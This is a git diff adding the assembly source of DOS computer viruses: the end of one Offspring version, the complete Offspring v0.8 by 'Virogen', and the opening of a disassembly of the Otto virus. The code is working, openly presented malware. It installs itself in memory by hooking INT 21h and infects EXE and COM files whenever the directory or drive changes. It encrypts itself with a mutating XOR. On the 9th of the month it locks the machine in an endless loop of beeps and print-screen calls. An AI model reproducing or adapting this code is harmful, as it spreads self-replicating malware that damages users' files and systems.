1EH ; Offset of file name in FF/FN buffer +F_SIZEL EQU 1CH ; File size - low +F_SIZEH EQU 1AH ; File size - high +F_DATE EQU 18H ; File date +F_TIME EQU 16H ; File time +MAX_INF EQU 05 ; Maximum files to infect per run +MAX_ROTATION EQU 9 ; number of bytes in switch byte table +PARASTIC EQU 01 ; Parastic infection +SPAWN EQU 00 ; Spawning infection + + ORG 100H ; Leave room for PSP + +;------------------------------------------------------------------ +; Start of viral code +;------------------------------------------------------------------ + +START: + + DB 0BEH ; MOV SI,xxxx - Load delta offset +SET_SI: DW 0000H + +SKIP_DEC: JMP NO_DEC ; Skip decryption, changes into NOP on + ; replicated copies. +M_SW1: NOP ; changs into a byte in op_set +XCHG_1 DB 0BFH + DW OFFSET ENC_DATA+2 ; Point to byte after encryption num + ; Switches positions with XCHG_2 +M_SW2: NOP ; changes into a byte in op_set +XCHG_2 DB 090H +ENC_NUM DW 9090H +M_SW3: NOP + +DI_INS: DW 0C783H ; ADD DI,0 - changes to ADD DI,xxxx +ADD_DI: DW 9000H ; 00-NOP + +CALL_ENC DB 0E8 ; Call encryption routine - address changes +E_JMP DW (OFFSET END_ENCRYPT-OFFSET E_JMP+2) + NO_DEC: + JMP MAIN ; Jump to virus code + +;----------------------------------------------- +; Data area +;----------------------------------------------- + +ENC_DATA DW 0000 ; Start of encrypted data +ROT_NUM DW 0000 ; Used when replacing bytes with OP_SET +VTYPE DB 00 ; Spawning or Parastic Infection? +INF_COUNT DB 0 ; How many files we have infected this run +COM_NAME DB 'COMMAND.COM' ; obvious +NEW_CODE DW 9090H ; ID bytes +NEW_JMP DB 0E9H,00,00 ; New Jump +FIRST_FIVE DB 5 DUP(0) ; original first five bytes of parasic inf. +ADD_MEM DB 0 ; restore mem size? Yes,No + +ID DB CR,LF,'(c)1993 negoriV',CR,LF ; my copyright +VNAME DB CR,LF,'* Thank you for providing me and my offspring with a safe place to live *' + DB CR,LF,'* Offspring I v0.07. *',CR,LF,'$' + +FNAME1 DB '*.EXE',0 ; Filespec +FNAME2 DB '*.COM',0 ; Filespec +FNAME_OFF DW FNAME1 ; Offset of Filespec to use +TIMES_INC DB 0 ; # of times encryption call incremented +SL DB '\' ; Backslash for directory name +FILE_DIR DB 64 DUP(0) ; directory of file we infected +FILE_NAME DB 13 DUP(0) ; filename of file we infected +OLD_DTA DD 0 ; old seg:off of DTA +OLD21_OFS DW 0 ; Offset of old INT 21H +OLD21_SEG DW 0 ; Seg of old INT 21h +NEW_SEG DW 0 ; New segment in high mem + +PAR_BLK DW 0 ; command line count byte -psp +PAR_CMD DW 0080H ; Point to the command line -psp +PAR_SEG DW 0 ; seg + DW 05CH ; Use default FCB's in psp to save space +PAR1 DW 0 ; + DW 06CH ; FCB #2 +PAR2 DW 0 ; + +;-------------------------------------------------------------------- +; INT 21h +;--------------------------------------------------------------------- + +NEW21 PROC ; New INT 21H handler + + CMP AH, SIGNAL ; signaling us? + JNE NO + MOV AH,REPLY ; yep, give our offspring what he wants + JMP END_21 + NO: + CMP AH, 3BH ; set dir func? + JE RUN_RES + CMP AH,0EH ; set disk func? + JE RUN_RES + + JMP END_21 + + RUN_RES: + PUSHF + PUSH AX ; Push regs + PUSH BX + PUSH CX + PUSH DX + PUSH DI + PUSH SI + PUSH BP + PUSH DS + PUSH ES + PUSH SP + PUSH SS + + PUSH CS + POP DS + + XOR AX,AX ; nullify ES + MOV ES,AX + + CMP ADD_MEM,1 ; Restore system conventional mem size? + JE REL_MEM ; + CMP AH,48H ; alloc. mem block? If so we subtract 3k from + JE SET_MEM ; total system memory. + + JMP NO_MEM_FUNC + + SET_MEM: + SUB WORD PTR ES: [413H],3 ; Subtract 3k from total sys mem + INC ADD_MEM ; make sure we know to add this back + JMP NO_MEM_FUNC + REL_MEM: + ADD WORD PTR ES: [413H],3 ; Add 3k to total sys mem + DEC ADD_MEM + + + NO_MEM_FUNC: + MOV AH,2FH + INT 21H ; Get the DTA + + MOV AX,ES + MOV WORD PTR OLD_DTA,BX + MOV WORD PTR OLD_DTA+2,AX + PUSH CS + POP ES + + CALL RESIDENT ; Call infection kernal + + MOV DX,WORD PTR OLD_DTA + MOV AX,WORD PTR OLD_DTA+2 + MOV DS,AX + MOV AH,1AH + INT 21H ; Restore the DTA + + POP SS ; Pop regs + POP SP + POP ES + POP DS + POP BP + POP SI + POP DI + POP DX + POP CX + POP BX + POP AX + POPF + END_21 : + JMP [ DWORD PTR CS: OLD21_OFS] ; jump to original int 21h + IRET + NEW21 ENDP ; End of handler + + +;------------------------------------------------------------ +; Main +;----------------------------------------------------------- +MAIN PROC + + MOV WORD PTR [SI+OFFSET SKIP_DEC],9090H ; NOP the jump past decryption + MOV BYTE PTR [SI+OFFSET SKIP_DEC+2],90H + + MOV AX,DS: 002CH ; Get environment address + MOV [SI+OFFSET PAR_BLK],AX ; Save in parameter block for exec + + MOV [SI+OFFSET PAR1],CS ; Save segments for EXEC + MOV [SI+OFFSET PAR2],CS + MOV [SI+OFFSET PAR_SEG],CS + + MOV AH,2AH ; Get date + INT 21H + + CMP DL,14 ; 14th? + JNE NO_DISPLAY + + MOV AH,09 ; Display message + LEA DX,[SI+OFFSET ID] + INT 21H + + NO_DISPLAY: + CALL INSTALL ; check if installed, if not install + + CMP BYTE PTR [SI+OFFSET VTYPE],PARASTIC + JE SKIP_THIS + MOV BX,(OFFSET VEND+50) ; Calculate memory needed + MOV CL,4 ; divide by 16 + SHR BX,CL + INC BX + MOV AH,4AH + INT 21H ; Release un-needed memory + + LEA DX,[SI+OFFSET FILE_DIR -1] ; Execute the original EXE + LEA BX,[SI+OFFSET PAR_BLK] + MOV AX,4B00H + INT 21H + + MOV AH,4CH ; Exit + INT 21H + + SKIP_THIS: + + MOV CX,5 ; Restore original first + ADD SI,OFFSET FIRST_FIVE ; five bytes of COM file + MOV DI,0100H + CLD + REP MOVSB + + MOV AX,0100H ; Simulate CALL return to 0100h + PUSH AX + RET + +MAIN ENDP + +;--------------- +; INSTALL - Install the virus +;-------------- + +INSTALL PROC + + MOV AH,SIGNAL + INT 21H + CMP AH,REPLY + JE NO_INSTALL + + MOV AX,CS + DEC AX + MOV DS,AX + CMP BYTE PTR DS: [0],'Z' ;Is this the last MCB in + ;the chain? + JNE NO_INSTALL + + + MOV AX,DS: [3] ;Block size in MCB + SUB AX,190 ;Shrink Block Size-quick estimate + MOV DS: [3],AX + + MOV BX,AX + MOV AX,ES + ADD AX,BX + MOV ES,AX ;Find high memory seg + + PUSH SI + ADD SI,0100H + MOV CX,(OFFSET VEND - OFFSET START) + MOV AX,DS + INC AX + MOV DS,AX + MOV DI,100H ; New location in high memory + CLD + REP MOVSB ; Copy virus to high memory + + POP SI + MOV DS: NEW_SEG,ES ;Save new segment + + PUSH ES + POP DS + XOR AX,AX + MOV ES,AX ; null es + MOV AX,ES: [21H*4+2] + MOV BX,ES: [21H*4] + MOV DS: OLD21_SEG,AX ; Store segment + MOV DS: OLD21_OFS,BX ; Store offset + + CLI + + MOV ES: [21H*4+2],DS ; Save seg + LEA AX,[OFFSET NEW21] + MOV ES: [21H*4],AX ; off + + STI + + NO_INSTALL: + PUSH CS ; Restore regs + POP DS + MOV ES,DS + + RET +INSTALL ENDP + +;------------------------ +; Resident - This is called from the INT 21h handler +;----------------------------- +RESIDENT PROC + + MOV VTYPE,SPAWN + MOV WORD PTR SET_SI,0000 ; SI=0000 on load + MOV BYTE PTR DI_INS,83H ; ADD DI,0 op + MOV WORD PTR ADD_DI,9000H ; 0090h for ADD DI,00 + MOV BYTE PTR INF_COUNT,0 ; null infection count + MOV FNAME_OFF, OFFSET FNAME1 ; Set search for *.EXE + +FIND_FIRST: + MOV WORD PTR VEND,0 ; Clear ff/fn buffer + LEA SI, VEND + LEA DI, VEND+2 + MOV CX,22 + CLD + REP MOVSW + + ; Set DTA address - This is for the Findfirst/Findnext INT 21H functions + MOV AH, 1AH + LEA DX, VEND + INT 21H + + MOV AH, 4EH ; Findfirst + MOV CX, 0 ; Set normal file attribute search + MOV DX, FNAME_OFF + INT 21H + + JNC NEXT_LOOP ; if still finding files then loop + JMP END_PROG + + NEXT_LOOP : + CMP VTYPE, PARASTIC ; parastic infection? + JE START_INF ; yes, skip all this + + MOV AH,47H + XOR DL,DL + LEA SI,FILE_DIR + INT 21H + + CMP WORD PTR VEND[F_SIZEL],0 ; Make sure file isn't 64k+ + JE OK_FIND ; for spawning infections + JMP FIND_FILE + +OK_FIND: + XOR BX,BX + LM3 : ; find end of directory name + INC BX + CMP FILE_DIR[BX],0 + JNE LM3 + + MOV FILE_DIR[BX],'\' ; append backslash to path + INC BX + + MOV CX,13 ; append filename to path + LEA SI,VEND[F_NAME] + LEA DI,FILE_DIR[BX] + CLD + REP MOVSB + + XOR BX,BX + MOV BX,1EH + + LOOP_ME: ; search for filename ext. + INC BX + CMP BYTE PTR VEND[BX], '.' + JNE LOOP_ME + + INC BX ; change it to COM + MOV WORD PTR VEND [BX],'OC' + MOV BYTE PTR VEND [BX+2],'M' + + +START_INF: + + CMP VTYPE, PARASTIC ; parastic infection? + JE PARASTIC_INF ; yes.. so jump + +;-------------------------------------- +; Spawning infection + + LEA DX, VEND[F_NAME] + MOV AH, 3CH ; Create file + MOV CX, 02H ; READ-ONLY + OR CX, 01H ; Hidden + INT 21H ; Call INT 21H + JNC CONTIN ; If Error-probably already infected + JMP NO_INFECT + CONTIN: + + INC INF_COUNT + MOV BX,AX + + JMP ENCRYPT_OPS +;---------------------------------------- +; Parastic infection + + PARASTIC_INF : + + CMP VEND[F_SIZEh],400H + JGE CONT_INF2 + JMP NO_INFECT + + CONT_INF2: + + LEA SI,VEND[F_NAME] ; Is Command.COM? + LEA DI,COM_NAME + MOV CX,11 + CLD + REPE CMPSB + + JNE CONT_INF0 ; Yes, don't infect + JMP NO_INFECT + + CONT_INF0: + + MOV AX,3D02H ; Open file for reading & writing + LEA DX,VEND[F_NAME] ; Filename in FF/FN buffer + INT 21H + + JNC CONT_INF1 ; error, skip infection + JMP NO_INFECT + + CONT_INF1: + + + MOV BX,AX + + MOV AH,3FH ; Read first five bytes of file + MOV CX,05 + LEA DX,FIRST_FIVE + INT 21H + + CMP WORD PTR FIRST_FIVE,9090H + JNE CONT_INF + MOV AH,3EH + INT 21H + JMP NO_INFECT + +CONT_INF: + INC INF_COUNT + MOV AX,4202H ; Set pointer to end of file, so we + XOR CX,CX ; can find the file size + XOR DX,DX + INT 21H + + ;SUB AX,0100h ; Subtract PSP size + MOV WORD PTR SET_SI,AX ; Change the MOV SI inst. + MOV WORD PTR ADD_DI,AX ; ADD DI,xxxx + MOV BYTE PTR DI_INS,81H ; ADD DI op + + MOV AX,4200H + XOR CX,CX + XOR DX,DX + INT 21H + + MOV AX,VEND[F_SIZEH] + SUB AX,5 + MOV WORD PTR NEW_JMP+1,AX + + + MOV AH,40H + MOV CX,6 + LEA DX,NEW_CODE + INT 21H + + MOV AX,4202H + XOR CX,CX + XOR DX,DX + INT 21H + + +ENCRYPT_OPS: + +;----------------------------- +; Change encryptions ops + + PUSH BX + + MOV AX,WORD PTR XCHG_1 ; Switch XCHG_1, and XCHG_2 + MOV BX,WORD PTR XCHG_2 + MOV WORD PTR XCHG_1,BX + MOV WORD PTR XCHG_2,AX + MOV AH, BYTE PTR XCHG_1+2 + MOV BH, BYTE PTR XCHG_2+2 + MOV BYTE PTR XCHG_1+2,BH + MOV BYTE PTR XCHG_2+2,AH + +XOR_DONE: + +CHG_TWO: + XOR CX,CX ; CX=0 + LEA DI,SW_BYTE1 ; DI->sw_byte1 + +CHG_REST: + INC ROT_NUM ; increment rotation number + MOV BX,ROT_NUM ; bx=rotation num + MOV AH,OP_SET[BX] ; ah = new op code from set + MOV BYTE PTR [DI],AH + + CMP ROT_NUM,MAX_ROTATION ; max rotation num? + JNE CHG_CNT ; no, chg_cnt + MOV WORD PTR ROT_NUM,0 ; reset rotation num +CHG_CNT: + INC CX ; increment count + CMP CX,1 + LEA DI,M_SW1 + JE CHG_REST + CMP CX,2 + LEA DI,M_SW2 + JE CHG_REST + CMP CX,3 + LEA DI,M_SW3 + JE CHG_REST + CMP CX,4 + LEA DI,SW_BYTE1 + JE CHG_REST + +CHG_THREE: + XOR CX,CX + LEA DI,SW_BYTE3 +CHG_FOUR: + CMP BYTE PTR [DI],47H ; is first byte (of 3rd) 'INC DI'? + MOV BX,1 ; + JE MOV_POS ; Yes, so change it to the second + CMP BYTE PTR [DI+1],47H ; is second byte 'INC DI' + MOV BX,2 ; + JE MOV_POS ; Yes, change it to the third + XOR BX,BX ; Else, must be in final position +MOV_POS: MOV WORD PTR [DI],9090H ; set all three bytes (of 3rd) + MOV BYTE PTR [DI+2],90H ; to NOP + MOV BYTE PTR [DI+BX],47H ; place 'INC DI' in necessary pos. + + CMP BX,2 + JNE NO_CHANGE + INC CX + CMP CX,2 + LEA DI,SW_BYTE4 + JNE CHG_FOUR + +NO_CHANGE: + CMP BYTE PTR TIMES_INC,9 + JE INC_NUM + INC WORD PTR B_WR + INC WORD PTR E_JMP + INC WORD PTR E_JMP + INC TIMES_INC + JMP D2 +INC_NUM: + SUB WORD PTR B_WR,09 + SUB WORD PTR E_JMP,18 + MOV TIMES_INC,0 + +;----------------------- +; Get random XOR number, save it, copy virus, encrypt code + +D2: + + MOV AH,2CH ; + INT 21H ; Get random number from clock - millisecs + + MOV WORD PTR XOR_OP+2,DX ; save encryption # + + + MOV SI,0100H + LEA DI,VEND+50 ; destination + MOV CX,OFFSET VEND-100H ; bytes to move + CLD + REP MOVSB ; copy virus outside of code + + + LEA DI,VEND+ENC_DATA-204 ; offset of new copy of virus + CMP BYTE PTR VTYPE, PARASTIC + JNE GO_ENC + ;add di,si + +GO_ENC: + CALL ENCRYPT ; encrypt new copy of virus + +;---------------------------------------- +; Write and close new infected file + + POP BX + MOV CX, OFFSET VEND-100H ; # of bytes to write + LEA DX, VEND+50 ; Offset of buffer + MOV AH, 40H ; -- our program in memory + INT 21H ; Call INT 21H function 40h + + CMP VTYPE, PARASTIC ; parastic? + JNE CLOSE ; no, don't need to restore date/time + + MOV AX,5701H ; Restore data/time + MOV CX,VEND[F_TIME] + MOV DX,VEND[F_DATE] + INT 21H + + +CLOSE: MOV AH, 3EH + INT 21H + + +NO_INFECT: + +; Find next file + FIND_FILE : + + CMP INF_COUNT, MAX_INF + JE END_PROG + MOV AH,4FH + INT 21H + JC END_PROG + JMP NEXT_LOOP + + + END_PROG: + EXIT : + CMP INF_COUNT,0 ; Start parastic infection on next run + JNE FIND_DONE + CMP VTYPE, PARASTIC ; Parastic infection done? + JE FIND_DONE ; yes, we're finished + MOV FNAME_OFF, OFFSET FNAME2 ; Point to new filespec + MOV VTYPE, PARASTIC ; virus type = parastic + JMP FIND_FIRST + + + FIND_DONE: + MOV VTYPE,SPAWN + MOV FNAME_OFF, OFFSET FNAME1 + RET +RESIDENT ENDP + +END_ENCRYPT: ; Let's encrypt everything up to here +OP_SET DB 90H ; NOP + DB 40H ; INC AX + DB 43H ; INC BX + DB 48H ; DEC AX + DB 4BH ; DEC BX + DB 0FBH ; STI + DB 0FCH ; CLD + DB 4AH ; DEC DX + DB 42H ; INC DX + DB 14 DUP(090H) +;------------------------------------------------ +; Encrypt/Decrypt Routine +;----------------------------------------------- + +ENCRYPT PROC +CX_M DB 0B9H ; MOV CX +B_WR DW (OFFSET END_ENCRYPT-OFFSET ENC_DATA)/2 + E2: +SW_BYTE1: ; XOR [di],dx swaps positions with this + NOP +XOR_OP: XOR WORD PTR [DI],0666H ; Xor each word - number changes accordingly +SW_BYTE3: ; INC DI changes position in these bytes + INC DI + NOP + NOP +SW_BYTE4: ; INC DI changes position in these bytes + INC DI + NOP + NOP +SW_BYTE2: + NOP ; This byte changes into a char in op_set + LOOP E2 ; loop while cx != 0 + + RET + +ENCRYPT ENDP + +VEND DW 0 ; End of virus + +CSEG ENDS + END START diff --git a/o/OSPRING.ASM b/o/OSPRING.ASM new file mode 100755 index 0000000..731731c --- /dev/null +++ b/o/OSPRING.ASM @@ -0,0 +1,665 @@ +;------------------------------------------------------------------------- +; ************************************************ +; OFFSPRING v0.8 - BY VIROGEN - 04-26-93 +; ************************************************ +; +; - Compatible with : TASM /m2 +; +; TYPE : Parastic & Spawning Resident Encrypting (PSRhA) +; +; +; VERSION : BETA 0.8 +; +; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function +; 0Eh (change drive) is called the virus will infect +; up to 5 files in the current directory (the one +; you're coming out of). It will first infect all +; EXE files by creating a corresponding COM. Once +; all EXE files have been infected, it then infects +; COM files. All COM files created by a spawning +; infection will have the read-only and hidden +; attribute. +; +; +; THE ENCRYPION OF THIS VIRUS : +; Ok, this virus's encryption method is a simple +; XOR. The encryption operands are changed directly. +; Also, the operands are switched around, and the +; encryption routine switches from using di to si. +; Not anything overly amazing, but it works. +; +; + title offspring_1 + .286 +cseg segment + assume cs: cseg, ds: cseg, ss: cseg, es: cseg + +signal equ 7dh ; Installation check +reply equ 0fch ; reply to check +f_name equ 1eh ; Offset of file name in FF/FN buffer +f_sizel equ 1ch ; File size - low - loc in mem +f_sizeh equ 1ah ; File size - high - loc in mem +f_date equ 18h ; File date - loc in mem +f_time equ 16h ; File time - loc in mem +max_inf equ 05 ; Maximum files to infect per run +max_rotation equ 9 ; number of bytes in switch byte table +parastic equ 01 ; Parastic infection +spawn equ 00 ; Spawning infection + + org 100h ; Leave room for PSP + +;------------------------------------------------------------------ +; Start of viral code +;------------------------------------------------------------------ + +start: + + db 0bdh ; MOV BP,xxxx - Load delta offset + set_bp: + dw 0000 + + skip_dec: + jmp main ; Skip decryption, changes into NOP on + ; replicated copies. + di_op db 0bfh + mov_di dw offset enc_data+2 ; Point to byte after encryption num + ; +;------------------------- +; Encryption/Decryption + +encrypt: +cx_m db 90h,0b9h ; MOV CX +b_wr dw (offset vend-offset enc_data)/2 +xor_loop: + xor_op: xor word ptr [di],0666h ; Xor each word - number changes accordingly + sw_byte3: ; INC xx changes position in these bytes + inc di + nop + nop + sw_byte4: + inc di + nop + nop + loop xor_loop ; loop while cx != 0 + + ret_byte db 90h ; Changes to RET (0C3h) - then back to NOP + +enc_data: ; Start of encrypted data + +;------------------------------- +; Non-Resident portion of virus +;------------------------------- +main proc + + mov word ptr skip_dec[bp],9090h ; NOP the jump past decryption + + mov ax,ds: 002ch ; Get environment address + mov par_blk[bp],ax ; Save in parameter block for exec + + mov par1[bp],cs ; Save segments for EXEC + mov par2[bp],cs + mov par_seg[bp],cs + + mov ah,2ah ; Get date + int 21h + + cmp dl,9 ; 9th? + jne no_display + + mov ah,09 ; display virus name + lea dx,vname[bp] + int 21h + + xor ax,ax ; seg 0 + mov es,ax + mov dx,1010101010101010b ; lights + chg_lights: ; Infinite loop to change keyboard + mov word ptr es: [416h],dx ; 0040:0016h = keyb flags + ror dx,1 ; rotate bits + mov cx,0101h ; scan code/ascii + mov ah,05h ; push a beep onto keyb buf + int 16h + mov ah,10h ; Read key back so we don't fill + int 16h ; up the keyboard buffer + int 5h ; Print-Screen + mov ax,0a07h ; Write BEEP to screen + xor bh,bh + mov cx,1 + int 10h + mov ah,86h ; Delay + mov cx,0002h + int 15h + + jmp chg_lights + + no_display: + + call install ; check if installed, if not install + + cmp byte ptr vtype[bp],parastic + je com_return + + mov bx,(offset vend+50) ; Calculate memory needed + mov cl,4 ; divide by 16 + shr bx,cl + inc bx + mov ah,4ah + int 21h ; Release un-needed memory + + lea dx,file_dir-1[bp] ; Execute the original EXE + lea bx,par_blk[bp] + mov ax,4b00h + int 21h + + mov ah,4ch ; Exit + int 21h + + com_return: + + mov si,bp + mov cx,4 ; Restore original first + add si,offset org_bytes ; five bytes of COM file + mov di,0100h + cld + rep movsb + + mov ax,0100h ; Simulate CALL return to 0100h + push ax + ret + +main endp + +;-------------------------------------- +; INSTALL - Install the virus +;-------------------------------------- + +install proc + + mov ah,signal + int 21h + cmp ah,reply + je no_install + + mov ax,cs + dec ax + mov ds,ax + cmp byte ptr ds: [0],'Z' ;Is this the last MCB in + ;the chain? + jne no_install + + + mov ax,ds: [3] ;Block size in MCB + sub ax,190 ;Shrink Block Size-quick estimate + mov ds: [3],ax + + mov bx,ax + mov ax,es + add ax,bx + mov es,ax ;Find high memory seg + + mov si,bp + add si,0100h + mov cx,(offset vend - offset start) + mov ax,ds + inc ax + mov ds,ax + mov di,100h ; New location in high memory + cld + rep movsb ; Copy virus to high memory + + push es + pop ds + xor ax,ax + mov es,ax ; null es + mov ax,es: [21h*4+2] + mov bx,es: [21h*4] + mov ds: old21_seg,ax ; Store segment + mov ds: old21_ofs,bx ; Store offset + + cli + + mov es: [21h*4+2],ds ; Save seg + lea ax, new21 + mov es: [21h*4],ax ; off + + sti + + no_install: + push cs ; Restore regs + pop ds + push cs + pop es + + ret +install endp + +;-------------------------------------------------------------------- +; INT 21h +;--------------------------------------------------------------------- + +new21 proc ; New INT 21H handler + + cmp ah, signal ; signaling us? + jne no + mov ah,reply ; yep, give our offspring what he wants + jmp end_21 + no: + cmp ah, 3bh ; set dir func? + je run_res + cmp ah,0eh ; set disk func? + je run_res + + jmp end_21 + + run_res: + pushf + push ax ; Push regs + push bx + push cx + push dx + push di + push si + push bp + push ds + push es + push sp + push ss + + push cs + pop ds + + xor ax,ax ; nullify ES + mov es,ax + + cmp byte ptr add_mem,1 ; Restore system conventional mem size? + je rel_mem ; + cmp ah,48h ; alloc. mem block? If so we subtract 3k from + je set_mem ; total system memory. + + jmp no_mem_func + + set_mem: + sub word ptr es: [413h],3 ; Subtract 3k from total sys mem + inc byte ptr add_mem ; make sure we know to add this back + jmp no_mem_func + rel_mem: + add word ptr es: [413h],3 ; Add 3k to total sys mem + dec byte ptr add_mem + + + no_mem_func: + mov ah,2fh + int 21h ; Get the DTA + + mov ax,es + mov word ptr old_dta,bx + mov word ptr old_dta+2,ax + push cs + pop es + + call resident ; Call infection kernal + + mov dx,word ptr old_dta + mov ax,word ptr old_dta+2 + mov ds,ax + mov ah,1ah + int 21h ; Restore the DTA + + pop ss ; Pop regs + pop sp + pop es + pop ds + pop bp + pop si + pop di + pop dx + pop cx + pop bx + pop ax + popf + end_21 : + db 0eah ; jump to original int 21h +old21_ofs dw 0 ; Offset of old INT 21H +old21_seg dw 0 ; Seg of old INT 21h +new21 endp ; End of handler + +;------------------------ +; Resident - This is called from the INT 21h handler +;----------------------------- +resident proc + + mov byte ptr vtype,spawn + mov word ptr set_bp,0000 ; BP=0000 on load + mov byte ptr inf_count,0 ; null infection count + mov fname_off, offset fname1 ; Set search for *.EXE + mov word ptr mov_di,offset enc_data+2 + + find_first: + mov word ptr vend,0 ; Clear ff/fn buffer + lea si, vend + lea di, vend+2 + mov cx, 22 + cld + rep movsw + + ; Set DTA address - This is for the Findfirst/Findnext INT 21H functions + mov ah, 1ah + lea dx, vend + int 21h + + mov ah, 4eh ; Findfirst + mov cx, 0 ; Set normal file attribute search + mov dx, fname_off + int 21h + + jnc next_loop ; if still finding files then loop + jmp end_prog + + next_loop : + cmp byte ptr vtype, parastic ; parastic infection? + je start_inf ; yes, skip all this + + mov ah,47h + xor dl,dl + lea si,file_dir + int 21h + + cmp word ptr vend[f_sizel],0 ; Make sure file isn't 64k+ + je ok_find ; for spawning infections + jmp find_file + + ok_find: + xor bx,bx + lm3 : ; find end of directory name + inc bx + cmp file_dir[bx],0 + jne lm3 + + mov file_dir[bx],'\' ; append backslash to path + inc bx + + mov cx,13 ; append filename to path + lea si,vend[f_name] + lea di,file_dir[bx] + cld + rep movsb + + xor bx,bx + mov bx,1eh + + loop_me: ; search for filename ext. + inc bx + cmp byte ptr vend[bx], '.' + jne loop_me + + inc bx ; change it to COM + mov word ptr vend [bx],'OC' + mov byte ptr vend [bx+2],'M' + + + start_inf: + + cmp byte ptr vtype, parastic ; parastic infection? + je parastic_inf ; yes.. so jump + +;-------------------------------------- +; Spawning infection + + + lea dx, vend[f_name] + mov ah, 3ch ; Create file + mov cx, 02h ; READ-ONLY + or cx, 01h ; Hidden + int 21h ; Call INT 21H + jnc contin ; If Error-probably already infected + jmp no_infect + contin: + + inc inf_count + mov bx,ax + + jmp encrypt_ops +;---------------------------------------- +; Parastic infection + + parastic_inf : + + cmp word ptr vend+f_sizeh,400h + jge cont_inf2 + jmp no_infect + + cont_inf2: + + lea si,vend+f_name ; Is Command.COM? + lea di,com_name + mov cx,11 + cld + repe cmpsb + + jne cont_inf0 ; Yes, don't infect + jmp no_infect + + cont_inf0: + + mov ax,3d02h ; Open file for reading & writing + lea dx,vend+f_name ; Filename in FF/FN buffer + int 21h + + jnc cont_inf1 ; error, skip infection + jmp no_infect + + cont_inf1: + + + mov bx,ax + + mov ah,3fh ; Read first bytes of file + mov cx,04 + lea dx,org_bytes + int 21h + + cmp word ptr org_bytes,0e990h + jne cont_inf + mov ah,3eh + int 21h + jmp no_infect + +cont_inf: + inc inf_count + mov ax,4202h ; Set pointer to end of file, so we + xor cx,cx ; can find the file size + xor dx,dx + int 21h + + mov word ptr set_bp,ax ; Change the MOV BP inst. + add ax, offset enc_data+2 + mov word ptr mov_di,ax ; chg mov di,xxxx + + mov ax,4200h + xor cx,cx + xor dx,dx + int 21h + + mov ax,word ptr vend+f_sizeh + sub ax,4 + mov word ptr new_jmp+1,ax + + + mov ah,40h + mov cx,4 + lea dx,new_code + int 21h + + mov ax,4202h + xor cx,cx + xor dx,dx + int 21h + + +encrypt_ops: + +;----------------------------- +; Change encryptions ops + + push bx + + cmp pad_bytes,50 + je reset_pad + inc word ptr pad_bytes ; Increase file size + inc word ptr b_wr + jmp pad_ok + reset_pad: + mov ax,pad_bytes + sub word ptr b_wr,ax + xor ax,ax + mov pad_bytes,ax + + pad_ok: + + cmp inc_op,47h ; change ops from DI to SI + jne set2 + dec inc_op + dec byte ptr xor_op+1 + dec di_op + dec byte ptr enc_addr + dec byte ptr enc_add+1 + jmp chg_three + set2: + inc inc_op + inc byte ptr xor_op+1 + inc di_op + inc byte ptr enc_addr + inc byte ptr enc_add+1 + +chg_three: + mov ah,inc_op + xor cx,cx + lea di,sw_byte3 +chg_four: + xor bx,bx ; Switch INC xx's location + cmp word ptr [di],9090h + je mov_pos + inc bx + inc bx + cmp byte ptr [di+1],90h ; is second byte not 90h + je mov_pos + dec bx +mov_pos: mov word ptr [di],9090h ; set all three bytes (of 3rd) + mov byte ptr [di+2],90h ; to NOP + mov byte ptr [di+bx],ah ; place inc xx in other byte + + lea di,sw_byte4 + inc cx + cmp cx,1 + je chg_four +;----------------------- +; Get random XOR number, save it, copy virus, encrypt code + +d2: + mov ah,2ch ; + int 21h ; Get random number from clock - millisecs + + mov word ptr xor_op+2,dx ; save encryption # + + + mov si,0100h + lea di,vend+50 ; destination + mov cx,offset vend-100h ; bytes to move + cld + rep movsb ; copy virus outside of code + + enc_addr: + mov di,offset vend + enc_add: + add di,offset enc_data-100h+52 ; offset of new copy of virus + +go_enc: + mov byte ptr ret_byte,0c3h + call encrypt ; encrypt new copy of virus + mov byte ptr ret_byte,90h + +;---------------------------------------- +; Write and close new infected file + + pop bx + mov cx, offset vend-100h ; # of bytes to write + add cx, pad_bytes + lea dx, vend+50 ; Offset of buffer + mov ah, 40h ; -- our program in memory + int 21h ; Call INT 21H function 40h + + mov ax,5701h ; Restore data/time + mov cx,word ptr vend[f_time] + mov dx,word ptr vend[f_date] + int 21h + + +close: + mov ah, 3eh + int 21h + + +no_infect: + +; Find next file + find_file : + + cmp inf_count, max_inf + je end_prog + mov ah,4fh + int 21h + jc end_prog + jmp next_loop + + + end_prog: + exit : + cmp inf_count,0 ; Start parastic infection on next run + jne find_done + cmp byte ptr vtype, parastic ; Parastic infection done? + je find_done + mov fname_off, offset fname2 ; Point to new filespec + mov byte ptr vtype, parastic ; virus type = parastic + jmp find_first + + + find_done: + mov byte ptr vtype,spawn + mov fname_off, offset fname1 + ret +resident endp + +vtype db spawn ; Infection type +rot_num dw 0000 ; Used when replacing bytes with OP_SET +inf_count db 0 ; How many files we have infected this run +com_name db 'COMMAND.COM' ; obvious +new_code db 90h +new_jmp db 0e9h,00,00 ; New Jump +org_bytes db 5 dup(0) ; original first five bytes of parastic inf. +pad_bytes dw 0 ; Increase in viru size +add_mem db 0 ; Add memory back? +old_dta dd 0 ; Old DTA Segment:Address +inc_op db 47h ; INC DI (47h) or INC SI (46h) + +copyr db '(c)1993 negoriV' ; my copyright +vname db 0ah,0dh,'OFFSPRING V0.8','$' + +fname1 db '*.EXE',0 ; Filespec +fname2 db '*.COM',0 ; Filespec +fname_off dw fname1 ; Offset of Filespec to use +times_inc db 0 ; # of times encryption call incremented +sl db '\' ; Backslash for directory name +file_dir db 64 dup(0) ; directory of file we infected +file_name db 13 dup(0) ; filename of file we infected + +par_blk dw 0 ; command line count byte -psp +par_cmd dw 0080h ; Point to the command line -psp +par_seg dw 0 ; seg + dw 05ch ; Use default FCB's in psp to save space +par1 dw 0 ; + dw 06ch ; FCB #2 +par2 dw 0 ; +vend: ; End of virus + +cseg ends + end start diff --git a/o/OTTO.ASM b/o/OTTO.ASM new file mode 100755 index 0000000..1a18750 --- /dev/null +++ b/o/OTTO.ASM @@ -0,0 +1,284 @@ +;****************************************************************************** +; Otto Virus +; +; Disassembled by Data Disruptor +; (c) 1992 RABID International Development +; (May.12.92) +; +; Original virus written by YAM (Youth Against McAfee) 1992 +; +; Notes: Otto Schtuck (Pardon the spelling?) claims that this is a super- +; encrypting virus. Well, it took me all of two minutes to get the virus +; into it's disassembled form. Try again guys. It wasn't half bad. For +; this virus, I could not use the techniques outlined in my article in +; Censor Volume 1~, therefore, I had to use another method (which, +; coincidentally is a lot better). Be expecting "Decrypting Viruses +; Part ][" in the next issue of Censor (Slated for 